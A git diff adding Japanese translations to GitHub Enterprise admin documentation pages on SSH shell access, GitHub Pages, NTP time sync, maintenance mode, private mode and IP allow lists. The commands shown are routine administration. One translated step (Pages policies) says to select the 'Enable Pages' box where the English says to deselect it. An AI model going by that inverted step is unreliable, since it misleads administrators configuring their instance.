+++ b/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh.md
@@ -1,5 +1,5 @@
 ---
-title: Accessing the administrative shell (SSH)
+title: 管理シェル (SSH) にアクセスする
 redirect_from:
   - /enterprise/admin/articles/ssh-access
   - /enterprise/admin/articles/adding-an-ssh-key-for-shell-access
@@ -21,29 +21,29 @@ topics:
   - SSH
 shortTitle: Access the admin shell (SSH)
 ---
-## About administrative shell access
 
-If you have SSH access to the administrative shell, you can run {% data variables.product.prodname_ghe_server %}'s command line utilities. SSH access is also useful for troubleshooting, running backups, and configuring replication. Administrative SSH access is managed separately from Git SSH access and is accessible only via port 122.
+## 管理シェルでのアクセスについて
 
-## Enabling access to the administrative shell via SSH
+管理シェルへの SSH アクセスがある場合は、{% data variables.product.prodname_ghe_server %} のコマンドラインユーティリティを実行できます。 SSHでのアクセスは、トラブルシューティングやバックアップの実行、レプリケーションの設定にも役立ちます。 管理のためのSSHアクセスはGitのSSHアクセスとは別に管理され、ポート122を通じてのみアクセスできます。
 
-To enable administrative SSH access, you must add your SSH public key to your instance's list of authorized keys.
+## SSH経由での管理シェルへのアクセスの有効化
+
+管理のためのSSHアクセスを有効化するには、SSHの公開鍵をインスタンスの認証済みキーのリストに追加しなければなりません。
 
 {% tip %}
 
-**Tip:** Changes to authorized SSH keys take effect immediately.
+**Tip:**認証済みSSH鍵への変更は、すぐに有効になります。
 
 {% endtip %}
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
-3. Under "SSH access", paste your key into the text box, then click **Add key**.
-  ![Text box and button for adding an SSH key](/assets/images/enterprise/settings/add-authorized-ssh-key-admin-shell.png)
+3. "SSH access（SSHでのアクセス）"の下のテキストボックスに鍵を貼り付け、**Add key（鍵の追加）**をクリックしてください。 ![SSHキーを追加するためのテキストボックスおよびボタン](/assets/images/enterprise/settings/add-authorized-ssh-key-admin-shell.png)
 {% data reusables.enterprise_management_console.save-settings %}
 
-## Connecting to the administrative shell over SSH
+## SSH経由での管理シェルへの接続
 
-After you've added your SSH key to the list, connect to the instance over SSH as the `admin` user on port 122.
+SSH鍵をリストに追加したら、`admin`ユーザとしてインスタンスのポート122にSSHで接続してください。
 
 ```shell
 $ ssh -p 122 admin@github.example.com
@@ -51,17 +51,17 @@ Last login: Sun Nov 9 07:53:29 2014 from 169.254.1.1
 admin@github-example-com:~$ █
 ```
 
-### Troubleshooting SSH connection problems
+### SSH 接続問題のトラブルシューティング
 
-If you encounter the `Permission denied (publickey)` error when you try to connect to {% data variables.product.product_location %} via SSH, confirm that you are connecting over port 122. You may need to explicitly specify which private SSH key to use.
+SSH 経由で {% data variables.product.product_location %} に接続しようとしたときに、`Permission denied (publickey)` というエラーが発生した場合は、ポート 122 経由で接続していることを確認してください。 使用するプライベートな SSH キーを明確に指定することが必要になる場合があります。
 
-To specify a private SSH key using the command line, run `ssh` with the `-i` argument.
+コマンドラインでプライベートな SSH キーを指定するには、`-i` 引数を付けて `ssh` を実行します。
 
 ```shell
 ssh -i /path/to/ghe_private_key -p 122 admin@<em>hostname</em>
 ```
 
-You can also specify a private SSH key using the SSH configuration file (`~/.ssh/config`).
+SSH 設定ファイル (`~/.ssh/config`) を使用して SSH 秘密キーを指定することもできます。
 
 ```shell
 Host <em>hostname</em>
@@ -70,10 +70,10 @@ Host <em>hostname</em>
   Port 122
 ```
 
-## Accessing the administrative shell using the local console
+## ローカルコンソールを使った管理シェルへのアクセス
 
-In an emergency situation, for example if SSH is unavailable, you can access the administrative shell locally. Sign in as the `admin` user and use the password established during initial setup of {% data variables.product.prodname_ghe_server %}.
+たとえばSSHが利用でいないような緊急時には、管理シェルにローカルでアクセスできます。 `admin` ユーザーとしてサインインし、{% data variables.product.prodname_ghe_server %} の初期セットアップ中に設定されたパスワードを使用します。
 
-## Access limitations for the administrative shell
+## 管理シェルへのアクセス制限
 
-Administrative shell access is permitted for troubleshooting and performing documented operations procedures only. Modifying system and application files, running programs, or installing unsupported software packages may void your support contract. Please contact {% data variables.contact.contact_ent_support %} if you have a question about the activities allowed by your support contract.
+管理シェルへのアクセスは、トラブルシューティングとドキュメント化された運用手順の実行時のみ許されます。 システムやアプリケーションのファイル変更、プログラムの実行、サポートされていないソフトウェアパッケージのインストールは、サポート契約を無効にすることがあります。 サポート契約の下で許されているアクティビティについて質問があれば、{% data variables.contact.contact_ent_support %} に連絡してください。
diff --git a/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/configuring-custom-footers.md b/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/configuring-custom-footers.md
index c334869985..f18aca0be0 100644
--- a/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/configuring-custom-footers.md
+++ b/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/configuring-custom-footers.md
@@ -10,6 +10,7 @@ topics:
   - Fundamentals
 shortTitle: Configure custom footers
 ---
+
 Enterprise owners can configure {% data variables.product.product_name %} to show custom footers with up to five additional links.
 
 ![Custom footer](/assets/images/enterprise/custom-footer/octodemo-footer.png)
@@ -28,11 +29,8 @@ The custom footer is displayed above the {% data variables.product.prodname_dotc
 ![Enterprise profile settings](/assets/images/enterprise/custom-footer/enterprise-profile-ghes.png)
 {%- endif %}
 
-1. At the top of the Profile section, click **Custom footer**.
-![Custom footer section](/assets/images/enterprise/custom-footer/custom-footer-section.png)
+1. At the top of the Profile section, click **Custom footer**. ![Custom footer section](/assets/images/enterprise/custom-footer/custom-footer-section.png)
 
-1. Add up to five links in the fields shown.
-![Add footer links](/assets/images/enterprise/custom-footer/add-footer-links.png)
+1. Add up to five links in the fields shown. ![Add footer links](/assets/images/enterprise/custom-footer/add-footer-links.png)
 
-1. Click **Update custom footer** to save the content and display the custom footer.
-![Update custom footer](/assets/images/enterprise/custom-footer/update-custom-footer.png)
+1. Click **Update custom footer** to save the content and display the custom footer. ![Update custom footer](/assets/images/enterprise/custom-footer/update-custom-footer.png)
diff --git a/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md b/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md
index d341653ffe..399dec1d19 100644
--- a/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md
+++ b/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md
@@ -1,5 +1,5 @@
 ---
-title: Configuring GitHub Pages for your enterprise
+title: Enterprise 向けの GitHub Pages を設定する
 intro: 'You can enable or disable {% data variables.product.prodname_pages %} for your enterprise{% ifversion ghes %} and choose whether to make sites publicly accessible{% endif %}.'
 redirect_from:
   - /enterprise/admin/guides/installation/disabling-github-enterprise-pages
@@ -21,32 +21,30 @@ shortTitle: Configure GitHub Pages
 
 {% ifversion ghes %}
 
-## Enabling public sites for {% data variables.product.prodname_pages %}
+## {% data variables.product.prodname_pages %} の公開サイトを有効にする
 
 If private mode is enabled on your enterprise, the public cannot access {% data variables.product.prodname_pages %} sites hosted by your enterprise unless you enable public sites.
 
 {% warning %}
 
-**Warning:** If you enable public sites for {% data variables.product.prodname_pages %}, every site in every repository on your enterprise will be accessible to the public.
+**Warning:** {% data variables.product.prodname_pages %} の公開サイトを有効にすると、Enterprise のすべてのリポジトリ内のすべてのサイトに一般ユーザがアクセスできるようになります。
 
 {% endwarning %}
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.pages-tab %}
-4. Select **Public Pages**.
-  ![Checkbox to enable Public Pages](/assets/images/enterprise/management-console/public-pages-checkbox.png)
+4. **Public Pages（公開ページ）**を選択してください。 ![[Public Pages] を有効化するチェックボックス](/assets/images/enterprise/management-console/public-pages-checkbox.png)
 {% data reusables.enterprise_management_console.save-settings %}
 
-## Disabling {% data variables.product.prodname_pages %} for your enterprise
+## Enterprise 向けの {% data variables.product.prodname_pages %} を無効にする
 
-If subdomain isolation is disabled for your enterprise, you should also disable {% data variables.product.prodname_pages %} to protect yourself from potential security vulnerabilities. For more information, see "[Enabling subdomain isolation](/admin/configuration/enabling-subdomain-isolation)."
+If subdomain isolation is disabled for your enterprise, you should also disable {% data variables.product.prodname_pages %} to protect yourself from potential security vulnerabilities. 詳しい情報については、「[Subdomain Isolation の有効化](/admin/configuration/enabling-subdomain-isolation)」を参照してください。
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.pages-tab %}
-4. Unselect **Enable Pages**.
-  ![Checkbox to disable {% data variables.product.prodname_pages %}](/assets/images/enterprise/management-console/pages-select-button.png)
+4. **Enable Pages（ページの有効化）**の選択を解除してください。 ![{% data variables.product.prodname_pages %} を無効化するチェックボックス](/assets/images/enterprise/management-console/pages-select-button.png)
 {% data reusables.enterprise_management_console.save-settings %}
 
 {% endif %}
@@ -56,14 +54,13 @@ If subdomain isolation is disabled for your enterprise, you should also disable
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.pages-tab %}
-5. Under "Pages policies", deselect **Enable {% data variables.product.prodname_pages %}**.
-  ![Checkbox to disable {% data variables.product.prodname_pages %}](/assets/images/enterprise/business-accounts/enable-github-pages-checkbox.png)
+5. [Pages policies] で [**Enable {% data variables.product.prodname_pages %}**] を選択します。 ![{% data variables.product.prodname_pages %} を無効化するチェックボックス](/assets/images/enterprise/business-accounts/enable-github-pages-checkbox.png)
 {% data reusables.enterprise-accounts.pages-policies-save %}
 
 {% endif %}
 
 {% ifversion ghes %}
-## Further reading
+## 参考リンク
 
-- "[Enabling private mode](/admin/configuration/enabling-private-mode)"
+- [プライベートモードの有効化](/admin/configuration/enabling-private-mode)
 {% endif %}
diff --git a/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/configuring-time-synchronization.md b/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/configuring-time-synchronization.md
index 0d0af44dc0..205a662432 100644
--- a/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/configuring-time-synchronization.md
+++ b/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/configuring-time-synchronization.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring time synchronization
-intro: '{% data variables.product.prodname_ghe_server %} automatically synchronizes its clock by connecting to NTP servers. You can set the NTP servers that are used to synchronize the clock, or you can use the default NTP servers.'
+title: 時間の同期の設定
+intro: '{% data variables.product.prodname_ghe_server %} は、NTP サーバーに接続することによって自動的に時刻を同期させます。 時刻の同期に使われるNTPサーバは設定できます。あるいはデフォルトのNTPサーバを利用することもできます。'
 redirect_from:
   - /enterprise/admin/articles/adjusting-the-clock
   - /enterprise/admin/articles/configuring-time-zone-and-ntp-settings
@@ -19,31 +19,29 @@ topics:
   - Networking
 shortTitle: Configure time settings
 ---
-## Changing the default NTP servers
+
+## デフォルトのNTPサーバの変更
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
-2. In the left sidebar, click **Time**.
-    ![The Time button in the {% data variables.enterprise.management_console %} sidebar](/assets/images/enterprise/management-console/sidebar-time.png)
-3. Under "Primary NTP server," type the hostname of the primary NTP server. Under "Secondary NTP server," type the hostname of the secondary NTP server.
-    ![The fields for primary and secondary NTP servers in the {% data variables.enterprise.management_console %}](/assets/images/enterprise/management-console/ntp-servers.png)
-4. At the bottom of the page, click **Save settings**.
-    ![The Save settings button in the {% data variables.enterprise.management_console %}](/assets/images/enterprise/management-console/save-settings.png)
-5. Wait for the configuration run to complete.
+2. 左のサイドバーで**Time（時間）**をクリックしてください。 ![{% data variables.enterprise.management_console %} サイドバーでの [Time] ボタン](/assets/images/enterprise/management-console/sidebar-time.png)
+3. "Primary NTP server（プライマリのNTPサーバ）"の下で、プライマリNTPサーバのホスト名を入力してください。 "Secondary NTP server（セカンダリのNTPサーバ）"の下で、セカンダリのNTPサーバのホスト名を入力してください。 ![{% data variables.enterprise.management_console %} でのプライマリとセカンダリの NTP サーバーのためのフィールド](/assets/images/enterprise/management-console/ntp-servers.png)
+4. ページの下部で **Save settings（設定の保存）**をクリックしてください。 ![{% data variables.enterprise.management_console %} での [Save settings] ボタン](/assets/images/enterprise/management-console/save-settings.png)
+5. 設定が完了するのを待ってください。
 
-## Correcting a large time drift
+## 大きな時間の乱れの修正
 
-The NTP protocol continuously corrects small time synchronization discrepancies. You can use the administrative shell to synchronize time immediately.
+NTP プロトコルは小さな時間同期の不一致を継続的に修正します。 管理シェルを使用すれば、時間を直ちに同期させることができます。
 
 {% note %}
 
-**Notes:**
- - You can't modify the Coordinated Universal Time (UTC) zone.
- - You should prevent your hypervisor from trying to set the virtual machine's clock. For more information, see the documentation provided by the virtualization provider.
+**ノート:**
+ - 協定世界時 (UTC) ゾーンは変更できません。
+ - ハイパーバイザーが仮想マシンの時刻を設定しようとするのを回避しなければなりません。 詳しい情報については、仮想化プロバイダが提供しているドキュメンテーションを参照してください。
 
 {% endnote %}
 
-- Use the `chronyc` command to synchronize the server with the configured NTP server. For example:
+- `chronyc` コマンドを使用して、サーバーを設定済みの NTP サーバーと同期させます。 例:
 
 ```shell
 $ sudo chronyc -a makestep
diff --git a/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode.md b/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode.md
index 8444f9199d..732591022d 100644
--- a/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode.md
+++ b/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode.md
@@ -1,6 +1,6 @@
 ---
-title: Enabling and scheduling maintenance mode
-intro: 'Some standard maintenance procedures, such as upgrading {% data variables.product.product_location %} or restoring backups, require the instance to be taken offline for normal use.'
+title: メンテナンスモードの有効化とスケジューリング
+intro: '標準的なメンテナンス手順のうち、{% data variables.product.product_location %} のアップグレードやバックアップの復元などは、通常の使用のためにインスタンスをオフラインにしなければならないものがあります。'
 redirect_from:
   - /enterprise/admin/maintenance-mode
   - /enterprise/admin/categories/maintenance-mode
@@ -21,53 +21,50 @@ topics:
   - Upgrades
 shortTitle: Configure maintenance mode
 ---
-## About maintenance mode
 
-Some types of operations require that you take {% data variables.product.product_location %} offline and put it into maintenance mode:
-- Upgrading to a new version of {% data variables.product.prodname_ghe_server %}
-- Increasing CPU, memory, or storage resources allocated to the virtual machine
-- Migrating data from one virtual machine to another
-- Restoring data from a {% data variables.product.prodname_enterprise_backup_utilities %} snapshot
-- Troubleshooting certain types of critical application issues
+## メンテナンスモードについて
 
-We recommend that you schedule a maintenance window for at least 30 minutes in the future to give users time to prepare. When a maintenance window is scheduled, all users will see a banner when accessing the site.
+操作の種類によっては、{% data variables.product.product_location %} をオフラインにしてメンテナンスモードにする必要があります。
+- {% data variables.product.prodname_ghe_server %} の新規バージョンにアップグレードする
+- 仮想マシンに割り当てられている CPU、メモリ、またはストレージリソースを拡大する
+- ある仮想マシンから別の仮想マシンへデータを移行する
+- {% data variables.product.prodname_enterprise_backup_utilities %} スナップショットからデータを復元する
+- 特定の種類の重要なアプリケーション問題のトラブルシューティング
 
-![End user banner about scheduled maintenance](/assets/images/enterprise/maintenance/maintenance-scheduled.png)
+メンテナンスウィンドウのスケジュールは、ユーザに準備時間を与えるために少なくとも30分は先にすることをおすすめします。 メンテナンスウィンドウがスケジューリングされると、すべてのユーザにはサイトにアクセスしたときにバナーが表示されます。
 
-When the instance is in maintenance mode, all normal HTTP and Git access is refused. Git fetch, clone, and push operations are also rejected with an error message indicating that the site is temporarily unavailable. GitHub Actions jobs will not be executed. Visiting the site in a browser results in a maintenance page.
+![スケジューリングされたメンテナンスに関するエンドユーザ向けバナー](/assets/images/enterprise/maintenance/maintenance-scheduled.png)
 
-![The maintenance mode splash screen](/assets/images/enterprise/maintenance/maintenance-mode-maintenance-page.png)
+インスタンスがメンテナンスモードに入ると、通常のHTTP及びGitアクセスはすべて拒否されます。 Git fetch、clone、pushの操作も、サイトが一時的に利用できなくなっていることを示すエラーメッセージと共に拒否されます。 GitHub Actions jobs will not be executed. サイトにブラウザーでアクセスすると、メンテナンスページが表示されます。
 
-## Enabling maintenance mode immediately or scheduling a maintenance window for a later time
+![メンテナンスモードのスプラッシュスクリーン](/assets/images/enterprise/maintenance/maintenance-mode-maintenance-page.png)
+
+## メンテナンスモードの即時有効化あるいは後のためのメンテナンスウィンドウのスケジューリング
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
-2. At the top of the {% data variables.enterprise.management_console %}, click **Maintenance**.
-  ![Maintenance tab](/assets/images/enterprise/management-console/maintenance-tab.png)
-3. Under "Enable and schedule", decide whether to enable maintenance mode immediately or to schedule a maintenance window for a future time.
-    - To enable maintenance mode immediately, use the drop-down menu and click **now**.
-    ![Drop-down menu with the option to enable maintenance mode now selected](/assets/images/enterprise/maintenance/enable-maintenance-mode-now.png)
-    - To schedule a maintenance window for a future time, use the drop-down menu and click a start time.
-    ![Drop-down menu with the option to schedule a maintenance window in two hours selected](/assets/images/enterprise/maintenance/schedule-maintenance-mode-two-hours.png)
-4. Select **Enable maintenance mode**.
-  ![Checkbox for enabling or scheduling maintenance mode](/assets/images/enterprise/maintenance/enable-maintenance-mode-checkbox.png)
+2. {% data variables.enterprise.management_console %}の上部で**Maintenance（メンテナンス）**をクリックしてください ![[Maintenance] タブ](/assets/images/enterprise/management-console/maintenance-tab.png)
+3. "Enable and schedule（有効化とスケジュール）"の下で、即時にメンテナンスモードを有効化するか、将来にメンテナンスウィンドウをスケジューリングするかを決めてください。
+    - メンテナンスモードを直ちに有効にするには、プルダウンメニューを使用して [**now**] をクリックします。 ![メンテナンスモードを有効にするオプションが選択されたドロップダウンメニュー](/assets/images/enterprise/maintenance/enable-maintenance-mode-now.png)
+    - 今後のメンテナンス時間枠をスケジュール設定するには、ドロップダウンメニューを使用して開始時間をクリックします。 ![メンテナンス時間枠を 2 時間でスケジュール設定するオプションが選択されたドロップダウンメニュー](/assets/images/enterprise/maintenance/schedule-maintenance-mode-two-hours.png)
+4. **Enable maintenance mode（メンテナンスモードの有効化）**を選択してください。 ![メンテナンスモードの有効化とスケジューリングのためのチェックボックス](/assets/images/enterprise/maintenance/enable-maintenance-mode-checkbox.png)
 {% data reusables.enterprise_management_console.save-settings %}
 
-## Scheduling maintenance mode with {% data variables.product.prodname_enterprise_api %}
+## {% data variables.product.prodname_enterprise_api %}でのメンテナンスモードのスケジューリング
 
-You can schedule maintenance for different times or dates with {% data variables.product.prodname_enterprise_api %}. For more information, see "[Management Console](/enterprise/{{ currentVersion }}/user/rest/reference/enterprise-admin#enable-or-disable-maintenance-mode)."
+{% data variables.product.prodname_enterprise_api %}では、様々な時間や日付にメンテナンスをスケジューリングできます。 詳しい情報については、「[Management Console](/enterprise/{{ currentVersion }}/user/rest/reference/enterprise-admin#enable-or-disable-maintenance-mode)」を参照してください。
 
-## Enabling or disabling maintenance mode for all nodes in a cluster
+## クラスタ内の全ノードでのメンテナンスモードの有効化もしくは無効化
 
-With the `ghe-cluster-maintenance` utility, you can set or unset maintenance mode for every node in a cluster.
+`ghe-cluster-maintenance`ユーティリティを使えば、クラスタ内のすべてのノードでメンテナンスモードの設定や解除ができます。
 
 ```shell
 $ ghe-cluster-maintenance -h
-# Shows options
+# オプションの表示
 $ ghe-cluster-maintenance -q
-# Queries the current mode
+# 現在のモードの問い合わせ
 $ ghe-cluster-maintenance -s
-# Sets maintenance mode
+# メンテナンスモードの設定
 $ ghe-cluster-maintenance -u
-# Unsets maintenance mode
+# メンテナンスモードの解除
 ```
diff --git a/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/enabling-private-mode.md b/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/enabling-private-mode.md
index a4343fa9a8..75190ffab4 100644
--- a/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/enabling-private-mode.md
+++ b/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/enabling-private-mode.md
@@ -1,6 +1,6 @@
 ---
-title: Enabling private mode
-intro: 'In private mode, {% data variables.product.prodname_ghe_server %} requires every user to sign in to access the installation.'
+title: プライベートモードの有効化
+intro: 'プライベートモードでは、{% data variables.product.prodname_ghe_server %} はインストールにアクセスするすべてのユーザーにサインインを求めます。'
 redirect_from:
   - /enterprise/admin/articles/private-mode
   - /enterprise/admin/guides/installation/security
@@ -21,15 +21,15 @@ topics:
   - Privacy
   - Security
 ---
-You must enable private mode if {% data variables.product.product_location %} is publicly accessible over the Internet. In private mode, users cannot anonymously clone repositories over `git://`. If built-in authentication is also enabled, an administrator must invite new users to create an account on the instance. For more information, see "[Using built-in authentication](/enterprise/{{ currentVersion }}/admin/guides/user-management/using-built-in-authentication)."
+
+{% data variables.product.product_location %}がインターネット経由でパブリックにアクセス可能になっている場合、プライベートモードを有効化しなければなりません。 プライベートモードでは、ユーザは`git://`経由でリポジトリを匿名クローンすることはできません。 ビルトイン認証も有効化されている場合、新しいユーザがインスタンスにアカウントを作成するには管理者が招待しなければなりません。 詳しい情報については"[ビルトイン認証の利用](/enterprise/{{ currentVersion }}/admin/guides/user-management/using-built-in-authentication)"を参照してください。
 
 {% data reusables.enterprise_installation.image-urls-viewable-warning %}
 
-With private mode enabled, you can allow unauthenticated Git operations (and anyone with network access to {% data variables.product.product_location %}) to read a public repository's code on your instance with anonymous Git read access enabled. For more information, see "[Allowing admins to enable anonymous Git read access to public repositories](/enterprise/{{ currentVersion }}/admin/guides/user-management/allowing-admins-to-enable-anonymous-git-read-access-to-public-repositories)."
+プライベートモードを有効にすると、認証されていない Git 操作 (および {% data variables.product.product_location %} へのネットワークアクセス権を所有する人) に、匿名 Git 読み取りアクセスを有効にしたインスタンスで、パブリックリポジトリのコードの読み取りを許可できます。 詳しい情報については[管理者にパブリックリポジトリの匿名Git読み取りアクセスの有効化を許可する](/enterprise/{{ currentVersion }}/admin/guides/user-management/allowing-admins-to-enable-anonymous-git-read-access-to-public-repositories)を参照してください。
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.privacy %}
-4. Select **Private mode**.
-  ![Checkbox for enabling private mode](/assets/images/enterprise/management-console/private-mode-checkbox.png)
+4. **Private mode（プライベートモード）**を選択してください。 ![プライベートモードを有効にするためのチェックボックス](/assets/images/enterprise/management-console/private-mode-checkbox.png)
 {% data reusables.enterprise_management_console.save-settings %}
diff --git a/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/index.md b/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/index.md
index ff4c39c4da..19b7f0d00c 100644
--- a/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/index.md
+++ b/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/index.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring your enterprise
-intro: 'After {% data variables.product.product_name %} is up and running, you can configure your enterprise to suit your organization''s needs.'
+title: Enterprise を設定する
+intro: '{% data variables.product.product_name %} が稼働したら、Organization のニーズに合わせて Enterprise を設定できます。'
 redirect_from:
   - /enterprise/admin/guides/installation/basic-configuration
   - /enterprise/admin/guides/installation/administrative-tools
diff --git a/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise.md b/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise.md
index f24c20e6b8..fce4620e9c 100644
--- a/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise.md
+++ b/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise.md
@@ -1,7 +1,7 @@
 ---
-title: Restricting network traffic to your enterprise
-shortTitle: Restricting network traffic
-intro: You can use an IP allow list to restrict access to your enterprise to connections from specified IP addresses.
+title: Enterprise へのネットワークトラフィックを制限する
+shortTitle: ネットワークトラフィックを制限する
+intro: IP 許可リストを使用して、Enterprise へのアクセスを指定された IP アドレスからの接続に制限できます。
 versions:
   ghae: '*'
 type: how_to
@@ -14,21 +14,22 @@ topics:
 redirect_from:
   - /admin/configuration/restricting-network-traffic-to-your-enterprise
 ---
-## About IP allow lists
 
-By default, authorized users can access your enterprise from any IP address. Enterprise owners can restrict access to assets owned by organizations in an enterprise account by configuring an allow list for specific IP addresses. {% data reusables.identity-and-permissions.ip-allow-lists-example-and-restrictions %}
+## IP 許可リストについて
+
+デフォルトでは、許可されたユーザは任意の IP アドレスから Enterprise にアクセスできます。 Enterprise のオーナーは、特定の IP アドレスに対する許可リストを設定することで、Enterprise アカウントの Organization が所有するアセットへのアクセスを制限できます。 {% data reusables.identity-and-permissions.ip-allow-lists-example-and-restrictions %}
 
 {% data reusables.identity-and-permissions.ip-allow-lists-cidr-notation %}
 
-{% data reusables.identity-and-permissions.ip-allow-lists-enable %} {% data reusables.identity-and-permissions.ip-allow-lists-enterprise %} 
+{% data reusables.identity-and-permissions.ip-allow-lists-enable %} {% data reusables.identity-and-permissions.ip-allow-lists-enterprise %}
 
-You can also configure allowed IP addresses for an individual organization. For more information, see "[Managing allowed IP addresses for your organization](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization)."
+許可 IP アドレスを、Organization ごとに設定することもできます。 詳細は「[ Organization に対する許可 IP アドレスを管理する](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization)」を参照してください。
 
-By default, Azure network security group (NSG) rules leave all inbound traffic open on ports 22, 80, 443, and 25. Enterprise owners can contact {% data variables.contact.github_support %} to configure access restrictions for your instance.
+既定では、Azure ネットワークセキュリティグループ (NSG) ルールで、ポート 22、80、443、および 25 ですべてのインバウンドトラフィックが開いたままになります。 Enterprise オーナーは {% data variables.contact.github_support %} に問い合わせて、インスタンスのアクセス制限を設定できます。
 
-For instance-level restrictions using Azure NSGs, contact {% data variables.contact.github_support %} with the IP addresses that should be allowed to access your enterprise instance. Specify address ranges using the standard CIDR (Classless Inter-Domain Routing) format. {% data variables.contact.github_support %} will configure the appropriate firewall rules for your enterprise to restrict network access over HTTP, SSH, HTTPS, and SMTP. For more information, see "[Receiving help from {% data variables.contact.github_support %}](/admin/enterprise-support/receiving-help-from-github-support)."
+Azure NSG を使用したインスタンスレベルの制限については、Enterprise インスタンスへのアクセスを許可する必要がある IP アドレスを {% data variables.contact.github_support %} に問い合わせてください。 標準の CIDR (Classless Inter-Domain Routing) 形式を使用してアドレス範囲を指定します。 {% data variables.contact.github_support %} は、HTTP、SSH、HTTPS、SMTP を介したネットワークアクセスを制限するために、Enterprise に適切なファイアウォールルールを設定します。 詳しい情報については、「[{% data variables.contact.github_support %} からの支援を受ける](/admin/enterprise-support/receiving-help-from-github-support)」を参照してください。
 
-## Adding an allowed IP address
+## 許可 IP アドレスを追加する
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
@@ -37,20 +38,19 @@ For instance-level restrictions using Azure NSGs, contact {% data variables.cont
 {% data reusables.identity-and-permissions.ip-allow-lists-add-description %}
 {% data reusables.identity-and-permissions.ip-allow-lists-add-entry %}
 
-## Allowing access by {% data variables.product.prodname_github_apps %}
+## {% data variables.product.prodname_github_apps %}によるアクセスの許可
 
 {% data reusables.identity-and-permissions.ip-allow-lists-githubapps-enterprise %}
 
-## Enabling allowed IP addresses
+## 許可 IP アドレスを有効化する
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.security-tab %}
-1. Under "IP allow list", select **Enable IP allow list**.
-  ![Checkbox to allow IP addresses](/assets/images/help/security/enable-ip-allowlist-enterprise-checkbox.png)
-4. Click **Save**.
+1. [IP allow list] で、「**Enable IP allow list**」を選択します。 ![IP アドレスを許可するチェックボックス](/assets/images/help/security/enable-ip-allowlist-enterprise-checkbox.png)
+4. [**Save**] をクリックします。
 
-## Editing an allowed IP address
+## 許可 IP アドレスを編集する
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
@@ -58,9 +58,9 @@ For instance-level restrictions using Azure NSGs, contact {% data variables.cont
 {% data reusables.identity-and-permissions.ip-allow-lists-edit-entry %}
 {% data reusables.identity-and-permissions.ip-allow-lists-edit-ip %}
 {% data reusables.identity-and-permissions.ip-allow-lists-edit-description %}
-8. Click **Update**.
+8. [**Update**] をクリックします。
 
-## Deleting an allowed IP address
+## 許可 IP アドレスを削除する
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
@@ -68,6 +68,6 @@ For instance-level restrictions using Azure NSGs, contact {% data variables.cont
 {% data reusables.identity-and-permissions.ip-allow-lists-delete-entry %}
 {% data reusables.identity-and-permissions.ip-allow-lists-confirm-deletion %}
 
-## Using {% data variables.product.prodname_actions %} with an IP allow list
+## IP許可リストで {% data variables.product.prodname_actions %} を使用する
 
 {% data reusables.github-actions.ip-allow-list-self-hosted-runners %}
diff --git a/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/troubleshooting-ssl-errors.md b/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/troubleshooting-ssl-errors.md
index 40a22785f7..c24eb78a51 100644
--- a/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/troubleshooting-ssl-errors.md
